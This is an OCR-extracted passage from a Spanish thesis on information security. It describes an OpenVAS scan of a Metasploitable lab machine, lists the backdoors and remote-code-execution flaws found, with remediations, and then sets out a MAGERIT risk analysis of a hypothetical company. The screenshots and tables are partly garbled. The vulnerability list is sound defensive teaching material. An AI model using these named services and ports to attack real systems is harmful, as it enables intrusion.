[ Most Visitedv [l Offensive Security "\ Kali Linux “§ Kali Docs “\ Kali Tools # Exploit-DB Wy Aircrack-ng gidKali Forums

Greenbone Refresh every 30 Sec. ~ | Logged inas Admin admin | Logout
Security Assistant Tue Nov 27 04:45:26 2018 UTC

Administration

k@ Dashboard %

v Tasks by Severity Class (Total: 0) v Tasks by status (Total: 0)

O &P & ] @ i (@ @ @) cTRLDERECHA
Fuente: Autor

Ahora se procede con el inicio del proceso de escaneo de la maquina virtual con el
sistema Metasploitable. Para ello en la parte superior se da clic sobre la pestafa
Scans y luego se busca la opcion Task como se observa en las figuras 68 y 69.

Figura 68. Ingreso a opcion de escaneo

Greel_'lbong Refresh every 30 Sec. ¥ Logged in as Admin admin | Logout =
Security Assistant Tue Nov 27 05:09:47 2018 UTC
Dashboard Assets Secinfo Configuration Administration
HRO t Filter: BEa
min_god=70 apply_overrides=1 rows=10 first=1 sort=name
(] v

v Tasks (1 of 1) %
~ Tasks by Severity Class (Total: 1) v Tasks with most High results p... - Tasks by status (Total: 1)
N/A B Running

/ Tasks with High severity found

v

@ @) B @ﬁgglﬂ@@@mmmzcn;
Fuente: Autor

Luego se procede a dar clic sobre Task Wizard, para iniciar con el proceso de
exploracion de las vulnerabilidades. Se desplegara la ventana donde se colocara la
direccion IP de la maquina a explorar, en este caso es la maquina virtual con
direccién 192.168.0.5.
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Figura 69. Ingreso al asistente de tareas

Greenbone Refresh every 30 Sec. ~ | Logged in as Admin admin | Logouf
Security Assistant Tue Nov 27 05:11:28 2018 UTC
Dashboard Scans Assets Secinfo Configuration Extras Administration Help
s Filter: 1S]%]?)
¥ JTasks (1 of 1) %
~ Tasks by Severity Class (Total: 1) ~ Tasks with most High results p... ~ Tasks by status (Total: 1)
N/A M Running

Tasks with High severity found

Fuente: Autor

Para verificar la direccion IP sobre la cual se realizara el escaneo, en una ventana
terminal sobre la maquina virtual con Linux Metasploitable se ejecuta el comando
ifconfig, con el cual se obtiene el detalle de las configuraciones de red.

Figura 70. Revision de IP del Metasploitable

official Ubuntu documentation,
help.ubuntu.com

0 overruns:0 frane:0
0 dropped:0 overruns:0 carrier:0
len:1000

881 (7.6 KB)

PBACK RUNN > Metric

kets:102 errors:0 dropped:0 ovu 0 frame:0
TX packets:102 errors:0 dropped:0 ou 0 carrier:0
collisions:0 txqueuelen:0
RX bytes:21989 (21.4 KB) TX bytes:21989 (21.4 KB)

nsfadmin@net loitable
sfadmin@nc loitable

@ %ué@ @i @ 9@ creDRecHa

Fuente: Autor

Figura 71. Ventana Task Wizard

Quick start: Inmediately scan an IP address
1P address or hostname:

192.168.0.5|

The default address is either your computer or your network gateway.
As a short-cut | will do the following for you

1. Create a new Target
2. Create a new Task

3. Start this scan task right away

4. Switch the view to reload every 30 seconds so you can lean back and watch the scan progress

In fact, you must not lean back. As soon as the scan progress is beyond 1%, you can already jump into
the scan report via the link in the Reports Total column and review the results collected so far.

When creating the Target and Task | will use the defaults as configured in "My Settings"

By clicking the New Task icon kd you can create a new Task yourself.

Fuente: Autor
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Figura 72. Graficas con resultados de escaneo

L.VJTasks (Lof1) %

~ Tasks by Severity Class (Total: 1) |~ Tasks with most High results p... - Tasks by status (Total: 1)

W High I pone

° Immediate scan of IP 192 ! °

0 5101520

Fuente: Autor

Figura 73. Graficas con resultados de escaneo

~ Results by Severity Class (Tot... [~ Results vulnerability word cl... ~  Results by CVSS (Total: 132)

MW High

%0
Medi

[ Medium -
Low

L Service 0

°9 " Check — 60

20 Reporting SSH k Rep 50

o 40

. « SSL/TLS Protocol

r Certificate sMB 30

Server Detection 20

Vulnerability Reauest 10

0 -
N/AO 12345678910

Fuente: Autor

En la siguiente captura de pantalla se puede observar el listado de algunas de las
vulnerabilidades encontradas y su nivel de severidad. Se presenta la opcion de dar
clic en el nombre de la vulnerabilidad, con lo cual se desplegara una nueva pestana
con las posibles correcciones a realizar.

Figura 74. Listado de vulnerabilidades encontradas

L [ 0 s (|

Test HTTP dangerous methods &) EEEEITTIN 99% 192.168.0.5 80/tcp
Check for Backdoor in UnreallRCd Q 70% 192.168.05 6667ftcp
DistCC Remote Code Execution Vulnerability [ EEEEXTINE 99% 19216805 3632tcp |

MySQL/ MariaDB weak password & EEEXICITTEN 95% 192.168.0.5 3306/tcp

phpMyAdmin error.php' Cross Site Scripting Vulnerability ) [ TTreTem 99% 192.168.0.5 80ftcp
Samba MS-RPC Remote Shell Command Execution Vulnerability (Active Check) 9] DTN 99% 192.168.0.5 445/tcp
vsftpd Compromised Source Packages Backdoor Vulnerability 9] 99% 192.168.0.5 21/tcp
vsftpd Compromised Source Packages Backdoor Vulnerability () EEEEICTTINEN 99% 192.168.0.5 6200/tcp

Multiple Vendors STARTTLS Implementation Plaintext Arbitrary Command Injection

I ICOITTET 99% 0.
Vulnerability |9} 99% 192.168.0.5 25/tcp

Nikto (NASL wrapper) 80% 192.168.0.5 80/tcp

Fuente: Autor

69



7.2.1 Descripcion de Fallas de Seguridad. La tabla que se presenta a
continuacion detalla la descripcion de 8 de las vulnerabilidades encontradas al
aplicar la prueba sobre la maquina con Metasploitable de los ambientes
controlados utilizando la aplicacién Openvas.

Tabla 1. Vulnerabilidades

Nombre de la
Vulnerabilidad

Descripcion

Recomendacion

Test HTTP Dangerous
Methods

Check for backdoor in
UnreallRCd

DistCC Remote Code
Execution Vulnerability

Esta vulnerabilidad se
refiere a una mala
configuracion en los
servidores web,
permitiendo a clientes
remotos ejecutar
meétodos de agregado de
cbdigo, ademas de
permitir su ejecucion,
permite al atacante
también el borrado de
informacion.

Esta vulnerabilidad
permite a los atacantes
ejecutar codigo de
manera sobre un equipo
infectado a través de un
servidor IRC

Cuando no se restringe
el acceso a través del
puerto del servidor,
permite a los atacantes
la ejecucion de codigo a
través de rutinas de
compilacién ya que estas
son ejecutadas sin
verificar si tienen o no
autorizacion.

Para poder prevenir esta
vulnerabilidad se deben
configurar restricciones
de acceso a estos
meétodos http o
deshabilitarlos.

La correccion a esta
vulnerabilidad consiste
en instalar la ultima
version de UnreallRCd
ademas de revisar las
firmas digitales del
software a instalar.

La solucién consiste en
la actualizacion del
DistCC ya que la
correccion es aplicada
por el proveedor.

Fuente: El autor
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Tabla 2. Continuacion

Nombre de la
Vulnerabilidad

Descripcion

Recomendacion

phpMyadmin error.php
cross site scripting
vulnerability

Samba MS-RPC Remote
Shell Command
Execution Vulnerability

Vsftpd compromised
source packages
backdoor vulnerability

Esta vulnerabilidad
permite el robo de
credenciales de
autenticacion a través de
cookies a usuarios de
phpMyadmin. Para este
ataque se requiere que
las victimas ejecuten un
enlace con codigo HTML
y scripts. Esta
vulnerabilidad también
permite la inyeccion de
cédigo. Este ataque se
relaciona con phishing
La funcionalidad MS-
RPC en SMBD en las
versiones de samba
3.0.0 a 3.0.25rc3 permite
a los atacantes remotos
el acceso a través del
archivo smb.conf
utilizando credenciales
de usuarios remotos
autenticados.

Esta vulnerabilidad
consiste en que se
distribuyen paquetes de
codigo fuente de puerta
trasera VSFTPD,
permitiendo la ejecucion
de cdédigo de manera
remota y modificacion del
cédigo fuente del
software.

Hasta la fecha no existe
solucion a esta
vulnerabilidad, como
Unica recomendacion se
tiene instalar las ultimas
versiones de
PHPMyadmin.

Afecta directamente la
version 3.3.8.1y
versiones anteriores.

La solucién a esta
vulnerabilidad es la
actualizacion de la
version de Samba.

Se debe realizar la
validacion del codigo
fuente del software,
ademas de validar
cualquier paquete de
instalacion a través del
certificado de la firma.

Fuente: El autor
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Tabla 3. Continuacion

Nombre de la
Vulnerabilidad

Descripcion

Recomendacion

SSH brute force logins
with default credentials
reporting

Possible Backdoor:
IngresLock

Esta vulnerabilidad
permite a los usuarios
remotos el ingreso al
sistema a través del
protocolo SSH, utilizando
credenciales por defecto.
A través del puerto 1524
y la utilizacion de unos
de los servicios del
sistema, se logra
ingresar al sistema y
ejecutar virus troyanos.

Utilizar contrasefas
seguras o herramientas
de generacion de
contrasenas que no
permitan su facil
descifrado.

Esta vulnerabilidad se
puede evitar eliminando
archivos de configuracion
no autorizados,

Fuente: El autor
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8. ANALISIS DE GESTION DE RIESGOS

El riesgo informatico es la probabilidad de que una amenaza pueda materializarse
valiéndose de vulnerabilidades existentes en una organizacion. es una “estimacion
del grado de exposicion a que una amenaza se materialice sobre uno o mas activos
causando dafos o perjuicios a la organizacién” %2,

Para garantizar la seguridad de los activos de informacion se debe realizar un buen
analisis y una buena gestion de los riesgos, de manera que se pueda seleccionar
los controles necesarios para mitigarlos o reducirlos, implementandolos de manera
adecuada. El analisis de riesgo es un “proceso sistematico para estimar la magnitud
de los riesgos a que se esta expuesta una organizacion” 53, el cual tiene como
objetivos, segun %(Fisher, 1988):

Ayudar en la identificacion de exposiciones.

Ayudar en la cuantificacion de los valores de las exposiciones.
Permitir un ranking de exposiciones por prioridad.

Servir como base para el analisis del coste eficaz.

“El analisis de riesgos determinara las amenazas y vulnerabilidades de los activos
de informacion previamente inventariados” °°, por lo cual es fundamental en la
gestion de riesgos definida como las “acciones coordinadas para dirigir y controlar
una organizacién respecto a los riesgos” %.

Es de suma importancia garantizar la seguridad de los sistemas informaticos y la
informacion dentro de la organizacién, de tal forma que no se afecte su
funcionamiento por causa de la materializacion de las amenazas que puedan existir.

Es aqui donde la gestion de riesgos juega un papel muy importante en la proteccion
de los activos, ya que permitira realizar una adecuada seleccion de controles
necesarios que garanticen la integridad, confidencialidad y disponibilidad de tal
forma que la productividad de la organizacion y sus tiempos de respuesta no se
vean afectados, generando pérdidas economicas para la misma.

52 Direccion General de Modernizacion Administrativa, Procedimiento e Impulso de la Administracion
Electronica. MAGERIT - version 3.0 Metodologia de Analisis y Gestion de Riesgos de los Sistemas
de Informacién. Madrid: Ministerio de Hacienda y Administraciones Publicas, 2012.

53 bid.

54 FISHER, Royal. SEGURIDAD EN LO SISTEMAS INFORMATICOS. Madrid: Ediciones Diaz de
Santos, S.A., 1988.

% GOMEZ, Luis, & ALVAREZ, Andrés. Guia de aplicacion de la Norma UNE-ISO/IEC 27001 sobre
seguridad en sistemas de informacion para pymes. Madrid: AENOR, 2012.

% FERNANDEZ, Carlos, & PIATTINI, Mario. Modelo para el gobierno de las TIC basado en las
normas ISO. Madrid: AENOR, 2012,
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Aunque existen diferentes metodologias de gestion de riesgos, se decidio aplicar la
metodologia MAGERIT, la cual plantea los siguientes pasos y propone ciertos
formatos que facilitan la realizacion de cada uno de estos:

Determinacion de los activos de informacién
Determinacion de las amenazas

Seleccion de salvaguardas

Determinacion del impacto residual
Determinacion del riesgo residual

Luego de las pruebas de vulnerabilidad y los ataques realizados a los ambientes
controlados de la entidad hipotética, se evidencia la necesidad de implementar los
controles necesarios para evitar que la organizacion sea victima de ataques que
puedan explotar las vulnerabilidades encontradas. Pero antes de poder determinar
estos controles, es importante llevar a cabo un analisis de riesgo que le permita a la
entidad tener un panorama mas amplio de los riesgos informaticos a los que se
expone, para asi poder contrarrestarlos y evitar dafios a la organizacion.

8.1 DETERMINACION DE LOS ACTIVOS DE INFORMACION

La determinacién de los activos de informacion consiste en la identificacion y
valoraciéon de aquellos elementos u operatividad de un sistema informatico que
pueden ser afectados por acciones de un sistema o una persona externa, causando
dafos a una organizacion.

8.1.1 Identificacion de Activos de Informacién. Durante la identificacion de los
activos se tienen en cuenta todos aquellos que, al ser atacados, pueden causar
dafios a la organizacién, ya sean pérdida de dinero, clientes o reputacion, entre
otros. Para esto se tiene en cuenta la informacion relevante acerca de dichos
activos, categorizandolos de acuerdo con la similitud que pueda existir entre ellos.

MAGERIT propone que los activos de informacidon se agrupen en las siguientes
categorias:

[D] Datos/Informacion

[K] Claves criptograficas

[S] Servicios

[SW] Software — Aplicaciones informaticas
[HW] Equipamiento informatico (hardware)
[COM] Redes de comunicaciones

[Media] Soportes de informacién

[AUX] Equipamiento auxiliar

[L] Instalaciones
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e [P] Personal

La siguiente tabla muestra el listado de activos identificados dentro de una entidad
hipotética, en un formato propuesto por el autor que los reune todos para facilitar su
lectura. Para cado uno de ellos se detalla la siguiente informacién: tipo, nombre,

descripcion, ubicacion y cantidad.

Tabla 4. Clasificacion de Activos de Informacion

# Tipo Nombre Descripcion Ubicacion Cantidad
[HW] [host] Servidor encargado de
EQUIPA ; la autenticacion para
Servidores . Centro de
1 MENTO de garantizar o denegar a datos 2
INFORM Dominio un usuario el acceso a
ATICO recursos de la red.
[EHQWU]IP A [host] Servidor encargado de
Servidor gestionar las Centro de
2 MENTO . . 1
INFORM _de y impresiones en la datos
ATICO impresién  organizacion.
[HW]
EQUIPA [hOSt.] Servidor encargado de
Servidor g . Centro de
3 MENTO la gestidn de archivos 1
de N datos
INFORM Archivos en la organizacién
ATICO
[IéA\QUlj(I]P A [power] UPS encargada de
Equipos de mantener el fluido Centro de
4 MENTO . Y oy 1
AUXILIA prgtequon eléctrico el centro de datos
R eléctrica. datos
Sitio donde se
consolida los
servicios de: Servidor
de impresién, dominio,
File server.
U llcal BT Ce cai
5 INSTALA Centro de detegci6 e entidad 1
CIONES datos hipotética

incendios, aire
acondicionado, control
de acceso fisico
(Tarjeta de contacto),
extintores, equipos de
proteccion eléctrica.

Fuente: El Autor
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Tabla 5. Continuacion

# Tipo Nombre Descripcion Ubicacién Cantidad
[SW] Sistema que planifica
6 SOFTWA [std]ERp  L0dos los recursos NUBE 1
RE empresariales de
entidad hipotética
[SW] Aplicativo CRM que
7 SOFTWA [std] gestlg’na toda Ia_ NUBE 1
RE Salesforce relacién comercial de
la organizacion.
[SW] [std][email
8 SOFTWA Ese""er] Servicio de Office 365 NUBE 1
RE orreo
Electronico
[COM]
SEDES [ipphone] Plantas telefonicas de  Centro de
9 COMUNI Telefonia  todas las sedes, datos - 49
CACION IP Teléfonos IP Oficinas
ES
[pc]
Equipos de
[EHQWU]IP A SZTOpSUtO PC + Sistema Oficina
10 MENTO USUAIIOS Operativo Wonws Desarrollo 12
INFORM  finales — 10, Laptop +_S|stema de .
ATICO Desarrollo Operativo Windows 10 negocios
de
negocios
[pc]
[EHQWU]IPA Equipos de PC + Sistema
cémputo Operativo Windows Oficina de
11 MENTO : 27
INFORM de Ios_ 10, Laptop +_S|stema T. 1
ATICO usuarios Operativo Windows 10
finales — TI

Fuente: El autor
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Tabla 6. Continuacion

# Tipo Nombre Descripcion Ubicacion Cantidad
[pc]
Equipos de
[HW] . .
EQUIPA - GTE® O oo Windows  Cfina de
12 MENTO . b ; Administrat 19
usuarios 10, Laptop + Sistema .
INFORM . . . ivo
ATICO flnalgs.— Operativo Windows 10
Administrat
ivo
Firewall perimetral que
sirve para proteger las
[HW] redes empresariales
EQUIPA [firewall] de ataques, spam, y
13 MENTO  Fortigate otros peligros gzp;;o de 6
INFORM 60 D informaticos. Utilizado
ATICO para gestion de
servicios contratados
por clientes
Firewall perimetral que
sirve para proteger las
[HW] redes empresariales
EQUIPA [firewall] de ataques, spam, y
14 MENTO Fortigate otros peligros SZF;;O de 4
INFORM 100 E informaticos. Utilizado
ATICO para gestion de

servicios contratados
por clientes

Fuente: El autor
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Tabla 7. Continuacion

# Tipo Nombre Descripcion Ubicacion Cantidad

Firewall perimetral que

sirve para proteger las
[HW] redes empresariales
EQUIPA [firewall] de ataques, spam, y

16 MENTO  Fortigate otros peligros 8:,?;;0 de 1
INFORM  80E informaticos. Utilizado
ATICO para gestion de
servicios contratados
por clientes
[HW] [switch] Dispositivos de red
EQUIPA .
Cisco encargados de la Centro de
17 MENTO . g 3
catalyst interconexion de lared datos
INFORM 9300 de datos
ATICO
Pl e o
18 PERSON Operadore 19 entidad 12
servicios de o
AL s NOC . hipotética
networking
PRTG Network
[SW] [std] PRTG Monitor es un software Centro de
19 SOFTWA Network de monitoreo de red 1
) . Datos
RE Monitor sin agentes de
Paessler AG.
Contratos con clientes Servidor
20 D] Contratos  que disfrutan de los de 13
DATOS de servicio servicios brindados por Archivos

la entidad hipotética

Fuente: El autor

8.1.2 Valoracién de los Activos de Informacién. La valoracion de los activos se
realiza para determinar el grado de importancia que tiene cada uno dentro de una
organizacion. El valor de un activo depende de qué tan importante sea para la
organizacion. Entre mas importante sea, mayor seria la consecuencia para una
empresa si este se ve afectado. Por lo tanto, un activo con mayor valor deberia tener
un grado de proteccion mayor al interior de una organizacion.
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Al realizar la valoracion se puede utilizar cualquier escala, pero la seleccionada debe
aplicarse para todas las dimensiones, de forma que se puedan comparar riesgos.
La siguiente tabla muestra la escala definida por el autor para llevar a cabo la
valoraciéon de los activos de informacion de la entidad hipotética, esta escala
contiene valores cuantitativos y cualitativos.

Tabla 8. Escala para la valoracién de los activos

VALOR CRITERIO
MA 5 dafio muy grave
A 4 dafio grave
M 3 dafo importante
B 2 dafo menor
MB 1 irre;leyante a efectos
practicos

Fuente: El autor

En la siguiente tabla se detalla la valoracion tanto cuantitativa realizada a los
diferentes activos de informacion de la entidad hipotética. Esta valoracion se realizo
para las siguientes dimensiones de la seguridad de la informacion: autenticidad,
trazabilidad, confidencialidad, integridad y disponibilidad.

Tabla 9. Valoracion de activos

o (=)
()
Et E‘ 4 g 2
S Jd 2.2 3 vaor
# TIPO NOMBRE £ @ 528 2 toral
HR £ 9Q
) é Z Z2 o
O — —
< - o )
[HW] EQUIPAMENTO  [hos] Servidores
T INFORMATICO de Dominio 53 5 25 4
, [MW]EQUIPAMENTO  [host] Servidorde , o o , )
INFORMATICO impresion

Fuente: El autor

79



Tabla 10. Continuacion

2
(m)
(alila
<< § of
a2 g g3
O Jd 7 = =
= = O gy m VALOR
# TIPO NOMBRE E g E 8 g TOTAL
E S 2 ER
2 ¥ 20
< ) P
o
[HW] EQUIPAMENTO [host] Servidor de
3 INFORMATICO Archivos 4 3 5 55 4
[AUX] [power] Equipos de
4 EQUIPAMENTO roteccion eléctrica 1 1 5 3 3
AUXILIAR P :
5 [L]INSTALACIONES [local] Centrodedatos 5 5 5 &5 5 5
6 [SW] SOFTWARE [std] ERP 5 5 5 5 3 5
7 [SW] SOFTWARE [std] SalesForce 3 3 5 4 3 4
[std][email_server]
8 [SW] SOFTWARE Correo Electrénico 5 5 5 5 2 4
[COM] REDES DE . ,
9 COMUNICACIONES [ipphone] TelefonialP 2 2 2 4 5 3
[pc] Equipos de
cémputo de los
[HW] EQUIPAMENTO S B
10 INFORMATICO usuarios finales 4 4 5 4 5 4
Desarrollo de
negocios
[pc] Equipos de
[HW] EQUIPAMENTO
11 INFORMATICO compgterIos 5 5 5 5 5 5
usuarios finales — Tl
[pc] Equipos de
[HW] EQUIPAMENTO cémputo de los
12 INFORMATICO usuarios finales — 5 5 5 5 5 5
Administrativo
[HW] EQUIPAMENTO [firewall] Fortigate 60
13 INFORMATICO D 2 4 4 55 4
[HW] EQUIPAMENTO [firewall] Fortigate 100
14 INFORMATICO E 2 4 4 55 4
[HW] EQUIPAMENTO .
15 INFORMATICO [wap] FortiAP 24d 2 2 2 4 5 3
[HW] EQUIPAMENTO .. )
16 INFORMATICO [firewall] Fortigate 8OE 2 4 4 5 5 4
[HW] EQUIPAMENTO [switch] Cisco catalyst
17 INFORMATICO 9300 22 2 55 3

Fuente: El autor
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Tabla 11. Continuacion

=
2 9o a 4 2
S8 2 g0
82 5 22 vaor
= o x o
# TIPO NOMBRE E ﬁ E 8 % TOTAL
5% 23
< o) fal
&)
18 [P] PERSONAL [ui] Operadores NOC 4 5
19 [SW] [std] PRTG Network 5 3 5
SOFTWARE Monitor
20 [D] DATOS Contratos de servicio 5 2

Fuente: El autor

8.2 DETERMINACION DE LA AMENAZAS

La determinacion de las amenazas consiste en la identificacion y valoracion de
aquello que puede causar dafios a los activos de informacion de una organizacion.
Durante la valoracién se tiene en cuenta el impacto que pueda tener la
materializaciéon de la amenaza sobre un activo de informacion, esto es, qué tan
perjudicado se pueda ver el valor de un activo. Adicionalmente, se tiene en cuenta
la probabilidad de que se materialicen amenazas en la organizacion.

MAGERIT propone clasificar las amenazas que pueden sufrir los activos de
informacion en los siguientes cuatro grupos:

[N] Desastres naturales

[I] De origen industrial

[E] Errores o fallos no intencionados
[A] Ataques intencionados

Para cada una de las amenazas se define el impacto sobre cada uno de los activos
y la probabilidad de que estas se materialicen. Las tablas 5 y 6 muestran las escalas
definidas por los autores para llevar a cabo la evaluacion de las amenazas a las que
se ven expuestos los activos de informacion de la organizacion.
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Tabla 12. Escala de Impacto

Nomenclatura Categoria Valoracion
MA Muy Alto 5
A Alto 4
M Medio 3
B Bajo 2
MB Muy Bajo 1
Fuente: El autor
Tabla 13. Escala de probabilidad
Nomenclatura Categoria Valoracion
MA Practicamente seguro 5
A Probable 4
M Posible 3
B Poco probable 2
MB muy raro 1

Fuente: El autor

Luego de definir la escala para valorar el impacto y la probabilidad, se procede a
realizar el calculo del riesgo para cada uno de los activos, el cual sera dado por la
siguiente formula: R = Valor Activo x Impacto x Probabilidad

Tabla 14. Calculo del riesgo

Nombre del Calculo
. Valoracion - del
in?g:x: ggn Amenazas activos Impacto Probabilidad riesgo
neto
host] Servidores
[host] Servi [11] Fuego 4 5 3 60
I[;f’rg j(,)er:"'dor € 111] Fuego 1 5 3 15
. [A18]
(host] Servidor de - Destruceion de 4 4 5 80
informacion
[power] Equipos
de proteccién [11] Fuego 1 5 3 15

eléctrica.

Fuente: El autor
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Tabla 15. Continuacion

Nombre del Calculo
- Valoracion - del
activo de Amenazas - Impacto Probabilidad .
informacion activos riesgo
neto
gg‘t’js'] Centrode 1141 Fuego 5 5 3 75
[18] Fallo de
[std] ERP servicios de 5 3 4 60
comunicaciones
[18] Fallo de
[std] SalesForce  servicios de 3 3 4 36
comunicaciones
[std][email_server] [I8] Fallo de
Correo servicios de 5 3 4 60
Electronico comunicaciones
[|pphon§] [E2.5] Pérdida de 5 5 4 16
Telefonia IP equipos
[pc] Equipos de
cémputo de los .
usuarios finales — e[E5i5]OI:erd|da de 4 3 4 48
Desarrollo de quip
negocios
[pc] Equipos de
compyto Qe los [E2.5] Pérdida de 5 3 4 60
usuarios finales — equipos
TI
[pc] Equipos de
compyto Qe los [E2.5] Pérdida de 5 3 4 60
usuarios finales — equipos
Administrativo
[E21] Errores de
. . mantenimiento /
[Gfgesv all] Fortigate actualizacion de 4 4 4 64
programas
(software)
[firewall] Fortigate [E41 Error§§ de 4 4 5 80
100 E configuracion
[E9Q] Errores de
[wap] FortiAP 24d [re- 2 3 4 24

Jencaminamiento

Fuente: El autor
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Tabla 16. Continuacion

Calculo
Nom.bre del Valoracion Impact - del
activo de Amenazas - Probabilidad .
informacion activos o riesgo
neto
[E20]
[firewall] Vulnerabilidades de
Fortigate 80E  los programas 4 4 4 64
(software)
[switch] Cisco [E9Q] Errores de [re- 5 3 4 o4
catalyst 9300  ]encaminamiento
[ui] Operadores [A19] Divulgacion
NOC de informacioén S 3 4 60
[std] PRTG
Network [=3] Errores de 4 3 5 60
Monitor monitorizacion (log)
[A15] Modificacion
Contratos de o iherada de la 3 3 4 36

rvici ) .
Servicio informacion

Fuente: El autor

8.3 SELECCION DE SALVAGUARDAS

En esta etapa se realiza la identificacion de aquellas salvaguardas que se
encuentran implementadas en la organizacion, valorando su efectividad ante las
diferentes amenazas a las que estda expuesta. MAGERIT propone diferentes
salvaguardas, las cuales se encuentran agrupadas en 16 categorias:

Protecciones generales u horizontales

Proteccion de los datos / informacion

Proteccion de las claves criptograficas

Proteccion de los servicios

Proteccion de las aplicaciones (software)
Proteccion de los equipos (hardware)

Proteccion de las comunicaciones

Proteccion en los puntos de interconexidén con otros sistemas
Proteccion de los soportes de informacion
Proteccion de los elementos auxiliares

Seguridad fisica — Proteccion de las instalaciones
Salvaguardas relativas al personal

Salvaguardas de tipo organizativo

Continuidad de operaciones

Externalizacion
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e Adquisicion y desarrollo

Para valorar las salvaguardas para cada uno de los activos, se define la siguiente
escala de calificacion de gestion:

Tabla 17. Escala de valoracion de salvaguardas

Categoria Valoracion
Efectivo y documentado 4
Efectivo, pero no documentado 3
Existe, pero no efectivo 2
Control no existe 1

Fuente: El autor

Riesgo residual

Luego de identificar y valorar las salvaguardas existentes en la empresa para cada
uno de los activos, se realiza el calculo del riego residual, para el cual se aplica la
féormula: Riesgo Residual = Riesgo / Valor Salvaguarda

La siguiente tabla relaciona cada uno de los activos identificados en la entidad
hipotética, las amenazas, el riesgo, la calificacidén de la salvaguarda, la salvaguarda
o control y el calculo del riesgo residual.
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Tabla 18. Identificacion y evaluacion de salvaguardas

>
5 o 8 8 Calificacion
" hk)n;bre Amenaza Riesgo 8 B = 3 de gesltlon de Control Riesgo
ctivo 5 &2 © o a Residual
= E 2 % salvaguarda
= a 2
\©
o
[host] Dario de aires por Mantenimiento de
Servidores  [I1] Fuego falta de aires
de Dominio mantenimiento acondicionados
1 preventivo de 4 5 3 60 2 en centro de datos 30
aires
[host] Dario de aires por Mantenimiento de
Servidor de [I1] Fuego falta de aires
impresion mantenimiento acondicionados
2 preventivo de 1.5 3 1 2 en centro de datos 7.5
aires
[host] [A18] Eliminacion de la Copias de
Servidor de Destruccion  informacién por 4 4 5 80 1 seguridad de los
3 Archivos de inconformidad de datos (backup) 80
informacion  los usuarios

Fuente: El autor
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Tabla 19. Continuacion

S
§ o, & & Calificacion
Nombre Amenaza Riesgo 5 G £ g degestion Control Riesgo
# Activo c 8 2 3 de la -
s 2 8 Residual
= E § <2 salvaguarda
> S 3
a 2L
\©
o
[power] [11] Fuego Dario de aires Mantenimiento
Equipos de por falta de de aires
4 proteccion mantenimiento 1 &5 3 15 2 acondicionados 75
eléctrica. preventivo de en centro de ’
aires datos
[local] [11] Fuego Dano de aires Mantenimiento
Centro de por falta de de aires
5 datos mantenimiento 5 5 3 75 2 acondicionados 375
preventivo de en centro de ’
aires datos
[18] Fallo de Indisponibilidad Adquisicion de
[std] ERP servicios de del servicio 5 3 4 60 > canal dedicado
6 comunicaciones de internet de 10 30

MB

Fuente: El autor
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Tabla 20. Continuacion

>
5 . § § Calificacién
” Nombre Activo Amenaza Riesgo -4 'g % g de 3:?;'(’" Control Riesgo
o g— S o salva Residual
s E 8 S guarda
> a O
\©
o
[std] SalesForce [18] Fallo de Indisponibilidad Adquisicion
servicios de del servicio de canal
7 comunicaciones 3 3 4 36 2 dedicado de 18
internet de
10 MB
[std][email_server] [I8] Fallo de Indisponibilidad Adquisicion
Correo Electronico servicios de del servicio de canal
8 comunicaciones 5 3 4 60 2 dedicado de 30
internet de
10 MB
[ipphone] [E25] Pérdida Robo de Control de
Telefonia IP de equipos equipos por falta acceso
de sistema de fisico
9 control de 2 2 4 16 1 16
acceso en
oficinas

Fuente: El autor
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Tabla 21. Continuacion

S
s o 3 8 caicacis
Nombre . S g g I (Calificacionde j
” Activo Amenaza Riesgo § S 5 2 gestion de la Control Riesgo
o g— 8 9 salvaguarda Residual
S =23
o 29
\C
o
10 [pc] [E25] Robo de equipos por Control de
Equipos Pérdida de falta de sistema de acceso
de equipos control de acceso en fisico
cémputo oficinas de Desarrollo
de Iqs de negocios y falta de 4 3 4 48 1
usuarios control de ingreso de 24
finales — personal externo a la
Desarrollo organizacion
de
negocios
11 [pc] [E25] Robo de equipos por Control de
Equipos Pérdida de falta de sistema de acceso
de equipos control de acceso en fisico
computo oficinas de Tl y falta de
de los control de ingreso de 5 3 4 60 1 60
usuarios personal externo a la
finales — organizacion
TI

Fuente: El autor
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Tabla 22. Continuacion

S
§ o, & & Calificacion
Nombre Amenaza Riesgo S 8 £ g degestion Control Riesgo
# Activo c 8 € =© de la .
o S o Residual
= £ 8§ <= salvaguarda
> 3
o 2
\©
o
[E25] Pérdida Robo de equipos Control de
[pc] Equipos de equipos por falta de acceso fisico
de computo de sistema de
los usuarios control de acceso
finales — en oficinas de
12 Administrativo Administrativo y 5 3 4 €0 1 60
falta de control de
ingreso de
personal externo
a la organizacion
[firewall] [E21] Errores Mal Configuracion
Fortigate 60 D de funcionamiento del Firewall
mantenimiento  por falta de perimetral
13 / actualizacién  licencia de uso 4 4 4 64 2 32

de programas
(software)

Fuente: El autor
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Tabla 23. Continuacion

2
c S o Calificacion
Nombre : 2 2 2 I degestionde .
. Amenaza Riesgo 8 9 =5 o Control Riesgo
#  Activo c 8 € =© la :
o o Residual
= £ 8 =2 salvaguarda
- >
= a O
\C
o
[firewall] [E4] Errores de Mal Configuracion
Fortigate configuracion funcionamiento por del Firewall
100 E faltas de reglas de perimetral
14 autorlzaqlpn y 4 4 5 80 2 40
denegacion de
transmision y
comunicacion
[wap] [EQ] Errores de Mal Separacion de
FortiAP [re- funcionamiento por las redes
24d Jencaminamiento falta de
15 documentacion de 2 3 4 24 3 8

la segmentacion
de la red

Fuente: El autor
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Tabla 24. Continuacion

Nombre
# Activo

[firewall]
Fortigate
16 80E

[switch]
Cisco
catalyst

17 9300

Amenaza

[E20]
Vulnerabilidades
de los programas
(software)

[E9Q] Errores de
[re-
Jencaminamiento

Riesgo

Mal
funcionamiento
por falta de
licencia de uso

Mal
funcionamiento
por falta de
documentacion
de la

segmentacion de

la red

[
S 9
(o]
= E
>
4 4
2 3

Probabilidad

Calculo del riesgo

»
~

24

Calificacion
de gestion de
la
salvaguarda

Control

Configuracion
del Firewall
perimetral

Separacion de
las redes

Riesgo
Residual

32

12

Fuente: El autor
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Tabla 25. Continuacion

Nombre
# Activo
[ui]
Operadores
NOC
18
[std] PRTG
Network
19 Monitor
Contratos
de servicio
20

Amenaza

[A19]
Divulgacion de
informacion

[E3] Errores de
monitorizacion

(log)

[A15]
Modificacion
deliberada de
la informacion

Riesgo

Fuga de
informacion de los
funcionarios por
falta de
requerimientos de
seguridad de la
Ley 1581 de 2012
de proteccién de
datos personales
Mal
funcionamiento
por controles de
navegacion
insuficientes

Alteracién de la
informacion por
inconformidad de
los empleados

Valoracion

Impacto

Probabilidad

Calculo del riesgo

60

36

Calificacion
de gestion
de la
salvaguarda

